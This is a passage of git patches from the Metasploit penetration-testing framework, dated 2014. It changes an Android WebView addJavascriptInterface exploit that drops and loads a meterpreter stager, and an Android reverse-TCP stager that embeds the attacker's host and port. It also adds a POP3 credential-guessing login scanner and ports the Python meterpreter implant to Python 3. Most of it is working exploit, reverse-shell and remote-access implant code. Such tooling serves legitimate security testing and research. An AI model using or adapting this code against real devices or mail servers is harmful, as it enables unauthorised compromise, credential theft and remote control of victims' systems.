we have to access javascript in // order to detect what arch we are running. - var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename, arch), '\\\\x')}"; + var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}"; // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains // another stager which loads android meterpreter from the msf handler. - var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}"; + var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}"; // get the process name, which will give us our data path // $PPID does not seem to work on android 4.0, so we concat pids manually @@ -170,11 +159,11 @@ class Metasploit3 < Msf::Exploit::Remote var stagePath = path + '/#{stagename}.apk'; // build the library and chmod it - runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor(); + runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor(); runtime.exec(['chmod', '700', libraryPath]).waitFor(); // build the stage, chmod it, and load it - runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor(); + runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor(); runtime.exec(['chmod', '700', stagePath]).waitFor(); // load the library (this fails in x86, figure out why) From ae0691c586b94b456ea588484d83aa944c566872 Mon Sep 17 00:00:00 2001 From: Tim Wright Date: Sat, 10 May 2014 17:00:25 +0100 Subject: [PATCH 25/58] make string replacement more robust --- modules/payloads/stagers/android/reverse_tcp.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index a2ed71120c..c4d263f72e 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -36,8 +36,8 @@ module Metasploit3 classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) - string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST'] - string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST'] + string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT'] string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] jar.add_file("classes.dex", fix_dex_header(classes)) From a60558061cffc0dfb1fc1d31bb28b26d5e6521c7 Mon Sep 17 00:00:00 2001 From: Tim Wright Date: Sat, 10 May 2014 19:58:19 +0100 Subject: [PATCH 26/58] re-enable x86 stager --- .../exploits/android/browser/webview_addjavascriptinterface.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 9e3e7c232e..373fc8f2fd 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserAutopwn # Since the NDK stager is used, arch detection must be performed - SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE ] # todo: , ARCH_X86 ] + SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ] # Most android devices are ARM DEFAULT_ARCH = ARCH_ARMLE From 3c0625e393190ea165eb6fae5b18b41b216dcb46 Mon Sep 17 00:00:00 2001 From: Lance Sanchez Date: Wed, 14 May 2014 09:43:27 -0500 Subject: [PATCH 27/58] hacking on the pop3 login scanner MSP-9678 --- .../framework/login_scanner/pop3.rb | 69 +++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 lib/metasploit/framework/login_scanner/pop3.rb diff --git a/lib/metasploit/framework/login_scanner/pop3.rb b/lib/metasploit/framework/login_scanner/pop3.rb new file mode 100644 index 0000000000..c0b448f451 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/pop3.rb @@ -0,0 +1,69 @@ +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with POP3. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class POP3 + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + attr_accessor :sock + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential + } + begin + disconnect if self.sock + + connect + sleep(0.4) + + if sock.get_once[/^\+OK (.*)/] + sock.put("USER #{credential.public}\r\n") + if sock.get_once[/^\+OK (.*)/] + sock.put("PASS #{credential.private}\r\n") + result_options[:proof] = sock.get_once + if result_options[:proof][/^\+OK (.*)/] + result_options[:status] = :success + else + result_options[:status] = :failed + end + else + result_options[:status] = :failed + end + else + result_options[:status] = :failed + end + rescue ::Rex::ConnectionError, ::Timeout::Error, ::Errno::EPIPE + + end + + # disconnect + + end + + private + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.max_send_size = 0 if self.max_send_size.nil? + self.send_delay = 0 if self.send_delay.nil? + end + + end + + end + end +end From 06796fb27c5f0359c4d684b14dd99ebae53910f7 Mon Sep 17 00:00:00 2001 From: Lance Sanchez Date: Wed, 14 May 2014 09:52:56 -0500 Subject: [PATCH 28/58] returning the result class MSP-9678 --- lib/metasploit/framework/login_scanner/pop3.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/metasploit/framework/login_scanner/pop3.rb b/lib/metasploit/framework/login_scanner/pop3.rb index c0b448f451..66206b31d5 100644 --- a/lib/metasploit/framework/login_scanner/pop3.rb +++ b/lib/metasploit/framework/login_scanner/pop3.rb @@ -51,6 +51,7 @@ module Metasploit # disconnect + ::Metasploit::Framework::LoginScanner::Result.new(result_options) end private From e9b3f10ba7c56a74516a9527fc91937590294b1a Mon Sep 17 00:00:00 2001 From: Lance Sanchez Date: Wed, 14 May 2014 17:02:26 -0500 Subject: [PATCH 29/58] Drying up some of the status codes MSP-9678 --- .../framework/login_scanner/pop3.rb | 47 ++++++++++--------- .../framework/login_scanner/pop3_spec.rb | 13 +++++ 2 files changed, 38 insertions(+), 22 deletions(-) create mode 100644 spec/lib/metasploit/framework/login_scanner/pop3_spec.rb diff --git a/lib/metasploit/framework/login_scanner/pop3.rb b/lib/metasploit/framework/login_scanner/pop3.rb index 66206b31d5..a6a5eafa02 100644 --- a/lib/metasploit/framework/login_scanner/pop3.rb +++ b/lib/metasploit/framework/login_scanner/pop3.rb @@ -14,42 +14,39 @@ module Metasploit include Metasploit::Framework::LoginScanner::RexSocket include Metasploit::Framework::Tcp::Client - attr_accessor :sock - # This method attempts a single login with a single credential against the target # @param credential [Credential] The credential object to attmpt to login with # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object def attempt_login(credential) result_options = { - credential: credential + credential: credential, + status: :failed } + + disconnect if self.sock + begin - disconnect if self.sock - - connect - sleep(0.4) - - if sock.get_once[/^\+OK (.*)/] + # Check to see if we recieved an OK? + result_options[:proof] = sock.get_once + if result_options[:proof][/^\+OK (.*)/] sock.put("USER #{credential.public}\r\n") - if sock.get_once[/^\+OK (.*)/] + result_options[:proof] = sock.get_once + if result_options[:proof][/^\+OK (.*)/] sock.put("PASS #{credential.private}\r\n") result_options[:proof] = sock.get_once if result_options[:proof][/^\+OK (.*)/] result_options[:status] = :success - else - result_options[:status] = :failed end - else - result_options[:status] = :failed end - else - result_options[:status] = :failed end - rescue ::Rex::ConnectionError, ::Timeout::Error, ::Errno::EPIPE - + rescue ::Rex::ConnectionError, ::Timeout::Error, ::Errno::EPIPE => e + result_options.merge!( + proof: e.message, + status: :connection_error + ) end - # disconnect + disconnect ::Metasploit::Framework::LoginScanner::Result.new(result_options) end @@ -59,12 +56,18 @@ module Metasploit # This method sets the sane defaults for things # like timeouts and TCP evasion options def set_sane_defaults - self.max_send_size = 0 if self.max_send_size.nil? - self.send_delay = 0 if self.send_delay.nil? + self.max_send_size ||= 0 + self.send_delay ||= 0 + if self.ssl? + self.port ||= 995 + else + self.port ||= 110 + end end - end + end end end end + diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb new file mode 100644 index 0000000000..fe7177091b --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -0,0 +1,13 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/pop3' + +describe Metasploit::Framework::LoginScanner::POP3 do + subject(:scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base' + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + context "#set_sane_defaults" do + + end +end From 07a61ae696ad040df3a8f435690435477d02bc79 Mon Sep 17 00:00:00 2001 From: Lance Sanchez Date: Wed, 28 May 2014 13:18:28 -0500 Subject: [PATCH 30/58] adding in changes from before my vacation.. MSP-9678 --- lib/metasploit/framework/login_scanner/pop3.rb | 10 ++++++++-- .../metasploit/framework/login_scanner/pop3_spec.rb | 3 ++- 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/pop3.rb b/lib/metasploit/framework/login_scanner/pop3.rb index a6a5eafa02..789e1ef7f0 100644 --- a/lib/metasploit/framework/login_scanner/pop3.rb +++ b/lib/metasploit/framework/login_scanner/pop3.rb @@ -15,7 +15,7 @@ module Metasploit include Metasploit::Framework::Tcp::Client # This method attempts a single login with a single credential against the target - # @param credential [Credential] The credential object to attmpt to login with + # @param credential [Credential] The credential object to attempt to login with # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object def attempt_login(credential) result_options = { @@ -26,15 +26,21 @@ module Metasploit disconnect if self.sock begin + connect + sleep(0.4) + # Check to see if we recieved an OK? result_options[:proof] = sock.get_once if result_options[:proof][/^\+OK (.*)/] + # If we received an OK we should send the USER sock.put("USER #{credential.public}\r\n") result_options[:proof] = sock.get_once if result_options[:proof][/^\+OK (.*)/] + # If we got an OK after the username we can send the PASS sock.put("PASS #{credential.private}\r\n") result_options[:proof] = sock.get_once if result_options[:proof][/^\+OK (.*)/] + # if the pass gives an OK, were good to go result_options[:status] = :success end end @@ -46,7 +52,7 @@ module Metasploit ) end - disconnect + disconnect if self.sock ::Metasploit::Framework::LoginScanner::Result.new(result_options) end diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb index fe7177091b..37c1353ba1 100644 --- a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -7,7 +7,8 @@ describe Metasploit::Framework::LoginScanner::POP3 do it_behaves_like 'Metasploit::Framework::LoginScanner::Base' it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' - context "#set_sane_defaults" do + context "#attempt_login" do + end end From 15b1c79039dcb2cc1a12206d35be0ad2360da300 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 28 May 2014 16:30:27 -0400 Subject: [PATCH 31/58] Adjust whitespace and set bytes to str for Python 2 --- data/meterpreter/meterpreter.py | 7 +++++-- modules/payloads/stagers/python/bind_tcp.rb | 2 +- modules/payloads/stagers/python/reverse_tcp.rb | 2 +- modules/payloads/stages/python/meterpreter.rb | 3 ++- 4 files changed, 9 insertions(+), 5 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 979ebb4107..058a6c9215 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -16,6 +16,9 @@ import subprocess import sys import threading +if sys.version_info[0] < 3: + bytes = str + # # Constants # @@ -286,7 +289,7 @@ class PythonMeterpreter(object): break req_length, req_type = struct.unpack('>II', request) req_length -= 8 - request = '' + request = bytes() while len(request) < req_length: request += self.socket.recv(4096) response = self.create_response(request) @@ -487,7 +490,7 @@ class PythonMeterpreter(object): try: #print("[*] running method {0}".format(handler_name)) result, resp = handler(request, resp) - except Exception, err: + except Exception: #print("[-] method {0} resulted in an error".format(handler_name)) result = ERROR_FAILURE else: diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index 50e8974123..356a3fcfbf 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -22,7 +22,7 @@ module Metasploit3 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::BindTcp, 'Stager' => {'Payload' => ""} - )) + )) end # diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 4f741f0c52..5f4e0cf92e 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -22,7 +22,7 @@ module Metasploit3 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::ReverseTcp, 'Stager' => {'Payload' => ""} - )) + )) end # diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 63fce13671..6c497f080c 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -20,7 +20,8 @@ module Metasploit3 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_Python_Python)) + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) end def generate_stage From 145776db4d3fa4b4b2c838efe4da131f298c57c5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 29 May 2014 10:52:49 -0400 Subject: [PATCH 32/58] Add a DEBUGGING option to the python meterpreter --- data/meterpreter/meterpreter.py | 100 ++++++++++-------- modules/payloads/stages/python/meterpreter.rb | 8 ++ 2 files changed, 62 insertions(+), 46 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 058a6c9215..f80318e13d 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -1,12 +1,5 @@ #!/usr/bin/python import code -try: - import ctypes -except: - has_windll = False -else: - has_windll = hasattr(ctypes, 'windll') - import os import random import select @@ -15,13 +8,29 @@ import struct import subprocess import sys import threading +import traceback + +try: + import ctypes +except ImportError: + has_windll = False +else: + has_windll = hasattr(ctypes, 'windll') if sys.version_info[0] < 3: - bytes = str + is_bytes = lambda obj: issubclass(obj.__class__, str) + bytes = lambda *args: str(*args[:1]) + NULL_BYTE = '\x00' +else: + is_bytes = lambda obj: issubclass(obj.__class__, bytes) + str = lambda x: __builtins__['str'](x, 'UTF-8') + NULL_BYTE = bytes('\x00', 'UTF-8') # # Constants # +DEBUGGING = False + PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 PACKET_TYPE_PLAIN_REQUEST = 10 @@ -103,6 +112,7 @@ TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 EXPORTED_SYMBOLS = {} +EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING def export(symbol): EXPORTED_SYMBOLS[symbol.__name__] = symbol @@ -128,25 +138,6 @@ def inet_pton(family, address): return ''.join(map(chr, lpAddress[8:24])) raise Exception('no suitable inet_pton functionality is available') -@export -def packet_get_tlv(pkt, tlv_type): - offset = 0 - while (offset < len(pkt)): - tlv = struct.unpack('>II', pkt[offset:offset+8]) - if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type: - val = pkt[offset+8:(offset+8+(tlv[0] - 8))] - if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = val.split('\x00', 1)[0] - elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: - val = struct.unpack('>I', val)[0] - elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - val = bool(struct.unpack('b', val)[0]) - elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - pass - return {'type':tlv[1], 'length':tlv[0], 'value':val} - offset += tlv[0] - return {} - @export def packet_enum_tlvs(pkt, tlv_type = None): offset = 0 @@ -155,7 +146,7 @@ def packet_enum_tlvs(pkt, tlv_type = None): if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type): val = pkt[offset+8:(offset+8+(tlv[0] - 8))] if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = val.split('\x00', 1)[0] + val = val.split(NULL_BYTE, 1)[0] elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: val = struct.unpack('>I', val)[0] elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: @@ -166,6 +157,14 @@ def packet_enum_tlvs(pkt, tlv_type = None): offset += tlv[0] raise StopIteration() +@export +def packet_get_tlv(pkt, tlv_type): + try: + tlv = list(packet_enum_tlvs(pkt, tlv_type))[0] + except IndexError: + return {} + return tlv + @export def tlv_pack(*args): if len(args) == 2: @@ -173,18 +172,22 @@ def tlv_pack(*args): else: tlv = args[0] data = "" - if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00' - elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: data = struct.pack('>III', 12, tlv['type'], tlv['value']) elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value']))) - elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] - elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] - elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') + else: + value = tlv['value'] + if not is_bytes(value): + value = bytes(value, 'UTF-8') + if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE + elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value + elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value + elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value return data #@export @@ -254,7 +257,7 @@ class PythonMeterpreter(object): self.channels = {} self.interact_channels = [] self.processes = {} - for func in filter(lambda x: x.startswith('_core'), dir(self)): + for func in list(filter(lambda x: x.startswith('_core'), dir(self))): self.extension_functions[func[1:]] = getattr(self, func) self.running = True @@ -360,13 +363,13 @@ class PythonMeterpreter(object): data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: return ERROR_FAILURE - preloadlib_methods = self.extension_functions.keys() + preloadlib_methods = list(self.extension_functions.keys()) symbols_for_extensions = {'meterpreter':self} symbols_for_extensions.update(EXPORTED_SYMBOLS) i = code.InteractiveInterpreter(symbols_for_extensions) i.runcode(compile(data_tlv['value'], '', 'exec')) - postloadlib_methods = self.extension_functions.keys() - new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) + postloadlib_methods = list(self.extension_functions.keys()) + new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods)) for method in new_methods: response += tlv_pack(TLV_TYPE_METHOD, method) return ERROR_SUCCESS, response @@ -484,17 +487,22 @@ class PythonMeterpreter(object): reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) resp += tlv_pack(reqid_tlv) - handler_name = method_tlv['value'] + handler_name = str(method_tlv['value']) if handler_name in self.extension_functions: handler = self.extension_functions[handler_name] try: - #print("[*] running method {0}".format(handler_name)) + if DEBUGGING: + print("[*] running method {0}".format(handler_name)) result, resp = handler(request, resp) except Exception: - #print("[-] method {0} resulted in an error".format(handler_name)) + if DEBUGGING: + print("[-] method {0} resulted in an error".format(handler_name)) + exc_type, exc_value, exc_traceback = sys.exc_info() + traceback.print_exception(exc_type, exc_value, exc_traceback, file=sys.stderr) result = ERROR_FAILURE else: - #print("[-] method {0} was requested but does not exist".format(handler_name)) + if DEBUGGING: + print("[-] method {0} was requested but does not exist".format(handler_name)) result = ERROR_FAILURE resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 6c497f080c..cb5b286c0b 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -22,6 +22,9 @@ module Metasploit3 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::Meterpreter_Python_Python )) + register_advanced_options([ + OptBool.new('DEBUGGING', [ true, "Enable debugging for the Python meterpreter", false ]) + ], self.class) end def generate_stage @@ -30,6 +33,11 @@ module Metasploit3 met = File.open(file, "rb") {|f| f.read(f.stat.size) } + + if datastore['DEBUGGING'] + met = met.sub("DEBUGGING = False", "DEBUGGING = True") + end + met end end From d8dcfd8f41a219956c20d3045348b6c8bda9a8e2 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 29 May 2014 13:48:15 -0400 Subject: [PATCH 33/58] Update pymeterpreter netlink to support python3 --- data/meterpreter/ext_server_stdapi.py | 53 ++++++++++++++++++++++++--- data/meterpreter/meterpreter.py | 5 ++- 2 files changed, 52 insertions(+), 6 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index ae9cab6cb8..c22b6daa17 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -48,6 +48,16 @@ try: except ImportError: has_winreg = False +if sys.version_info[0] < 3: + is_bytes = lambda obj: issubclass(obj.__class__, str) + bytes = lambda *args: str(*args[:1]) + NULL_BYTE = '\x00' +else: + is_bytes = lambda obj: issubclass(obj.__class__, bytes) + str = lambda x: __builtins__['str'](x, 'UTF-8') + NULL_BYTE = bytes('\x00', 'UTF-8') + long = int + if has_ctypes: # # Windows Structures @@ -503,6 +513,40 @@ def get_stat_buffer(path): return st_buf def netlink_request(req_type): + import select + # See RFC 3549 + NLM_F_REQUEST = 0x0001 + NLM_F_ROOT = 0x0100 + NLMSG_ERROR = 0x0002 + NLMSG_DONE = 0x0003 + + sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE) + sock.bind((os.getpid(), 0)) + seq = int(time.time()) + nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC) + sock.send(nlmsg) + responses = [] + if not len(select.select([sock.fileno()], [], [], 0.5)[0]): + return responses + raw_response_data = sock.recv(0xfffff) + response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)]) + raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):] + while response.type != NLMSG_DONE: + if response.type == NLMSG_ERROR: + break + response_data = raw_response_data[:(response.len - 16)] + responses.append(response_data) + raw_response_data = raw_response_data[len(response_data):] + if not len(raw_response_data): + if not len(select.select([sock.fileno()], [], [], 0.5)[0]): + break + raw_response_data = sock.recv(0xfffff) + response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)]) + raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):] + sock.close() + return responses + +def _netlink_request(req_type): # See RFC 3549 NLM_F_REQUEST = 0x0001 NLM_F_ROOT = 0x0100 @@ -699,9 +743,8 @@ def stdapi_sys_process_get_processes_via_proc(request, response): cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ') status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read() status_data = map(lambda x: x.split('\t',1), status_data.split('\n')) - status_data = filter(lambda x: len(x) == 2, status_data) status = {} - for k, v in status_data: + for k, v in filter(lambda x: len(x) == 2, status_data): status[k[:-1]] = v.strip() ppid = status.get('PPid') uid = status.get('Uid').split('\t', 1)[0] @@ -974,7 +1017,7 @@ def stdapi_net_config_get_interfaces(request, response): else: return ERROR_FAILURE, response for iface_info in interfaces: - iface_tlv = '' + iface_tlv = bytes() iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown')) iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00')) if 'mtu' in iface_info: @@ -1002,7 +1045,7 @@ def stdapi_net_config_get_interfaces_via_netlink(): 0x0100: 'PROMISC', 0x1000: 'MULTICAST' } - iface_flags_sorted = iface_flags.keys() + iface_flags_sorted = list(iface_flags.keys()) # Dictionaries don't maintain order iface_flags_sorted.sort() interfaces = {} @@ -1106,7 +1149,7 @@ def stdapi_net_config_get_interfaces_via_osxsc(): hw_addr = hw_addr.replace(':', '') hw_addr = hw_addr.decode('hex') iface_info['hw_addr'] = hw_addr - ifnames = interfaces.keys() + ifnames = list(interfaces.keys()) ifnames.sort() for iface_name, iface_info in interfaces.items(): iface_info['index'] = ifnames.index(iface_name) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index f80318e13d..63a3f43e8e 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -510,6 +510,9 @@ class PythonMeterpreter(object): if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): if hasattr(os, 'setsid'): - os.setsid() + try: + os.setsid() + except OSError: + pass met = PythonMeterpreter(s) met.run() From 15dc33591bab1ff3e66da482f04ca0f5299c0aad Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 29 May 2014 15:09:09 -0400 Subject: [PATCH 34/58] In pymeterpreter use a MeterpreterFile obj for Py v3 --- data/meterpreter/ext_server_stdapi.py | 19 ++++++++------- data/meterpreter/meterpreter.py | 34 +++++++++++++++++---------- 2 files changed, 33 insertions(+), 20 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index c22b6daa17..416e2dbc41 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -508,7 +508,7 @@ def get_stat_buffer(path): blocks = si.st_blocks st_buf = struct.pack('I', val)[0] elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: @@ -190,6 +190,15 @@ def tlv_pack(*args): data = struct.pack('>II', 8 + len(value), tlv['type']) + value return data +#@export +class MeterpreterFile(object): + def __init__(self, file_obj): + self.file_obj = file_obj + + def __getattr__(self, name): + return getattr(self.file_obj, name) +export(MeterpreterFile) + #@export class MeterpreterSocket(object): def __init__(self, sock): @@ -271,6 +280,7 @@ class PythonMeterpreter(object): return func def add_channel(self, channel): + assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket))) idx = 0 while idx in self.channels: idx += 1 @@ -392,10 +402,10 @@ class PythonMeterpreter(object): if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] - if isinstance(channel, file): - channel.close() - elif isinstance(channel, subprocess.Popen): + if isinstance(channel, subprocess.Popen): channel.kill() + elif isinstance(channel, MeterpreterFile): + channel.close() elif isinstance(channel, MeterpreterSocket): channel.close() else: @@ -411,7 +421,7 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] result = False - if isinstance(channel, file): + if isinstance(channel, MeterpreterFile): result = channel.tell() >= os.fstat(channel.fileno()).st_size response += tlv_pack(TLV_TYPE_BOOL, result) return ERROR_SUCCESS, response @@ -438,13 +448,13 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] data = '' - if isinstance(channel, file): - data = channel.read(length) - elif isinstance(channel, STDProcess): + if isinstance(channel, STDProcess): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) if channel.stdout_reader.is_read_ready(): data = channel.stdout_reader.read(length) + elif isinstance(channel, MeterpreterFile): + data = channel.read(length) elif isinstance(channel, MeterpreterSocket): data = channel.recv(length) else: @@ -460,13 +470,13 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] l = len(channel_data) - if isinstance(channel, file): - channel.write(channel_data) - elif isinstance(channel, subprocess.Popen): + if isinstance(channel, subprocess.Popen): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) return 